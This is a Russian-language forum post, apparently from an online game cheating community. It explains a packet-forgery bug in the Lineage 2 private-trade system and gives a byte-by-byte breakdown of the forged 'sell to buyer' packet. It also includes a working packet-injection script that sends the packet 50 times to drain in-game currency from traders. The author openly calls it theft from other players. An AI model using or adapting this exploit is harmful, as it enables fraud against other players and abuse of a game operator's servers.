На самом деле,данный баг я нашел еще с пол года назад.
В паблик вылаживать не хотел.
На видео вообще нифига не понятно,поэтому делаю описание бага:
Суть бага в том,что мы в пакете на "Продажу покупающему" подменяем цену продажи, ObjectID продаваемого прмедмета, его ID.
Вот пример пакета:
96 01 00 00 00 01 00 00 00 49 BD 05 10 85 5F 05 10 00 00 00 00 01 00 00 00 AA 00 00 00
Описание частей пакета:
96 - байт,который определяет тип пакета.
01 00 00 00 - objID игрока,который сидит на покупке.
01 00 00 00 - в нашем случае роли не играет.
49 BD 05 10 - ObjID любой шмотки,которая в нас есть.
85 5F 05 10 - ID "продаваемой" шмотки.Советую использовать вообще ID от фонаря,как у меня в примере.
01 00 00 00 - Количество "продаваемых" предметов,тоже для нас не играет роль.
AA 00 00 00 - Сумма аден,которую мы будем красть у игрока за одну отсылку пакета. Что бы задать свою сумму - идем в "Дополнительно","Переобразование". Выбираем DWord,пишем в левый столбик ,например, 1000000 и жмем на ">".В правом столбике получаем переобразованные байты.Их и подставляем.
Баг работает только с трейдерами,которые сидят на покупке!
Я активно пользовался этим багом ,поэтому был написан скрипт для простого высасывания адены.
Код:
var
i:integer;
begin
if (FromServer) and (pck[1]=#$B8) then
begin
buf:=HStr('96')+pck[2]+pck[3]+pck[4]+pck[5]+HStr('01 00 00 00 49 BD 05 10 85 5F 05 10 00 00 00 00 01 00 00 00 AA 00 00 00');
for i:=1 to 50 do
SendToServerEx('vlaha');
end;
end.
AA 00 00 00
* заменяем на сумму адены,которая нам нужна
49 BD 05 10 заменяем на objID Любой шмотки,которая в нас в инвертаре
vlaha - заменяем на свой ник.
---
Запускаем скрипт,подходим к трейдеру,кликаем на него два раза,начинается процесс.
Мы попытаемся отобрать у него адену,которую мы указали в
*.И так 50 раз подряд.Если у него много адены,то кликаем на него еще раз.И так,пока он не "встанет" с трейда.Когда это произошло,значит у него адены осталось меньше,чем вы указали во
*.
Надеюсь,доступно объяснил.Спасибо за внимание.
(с) vlaha
Ах да,NeGGa, это не дюп,а просто воровство адены у трейдера.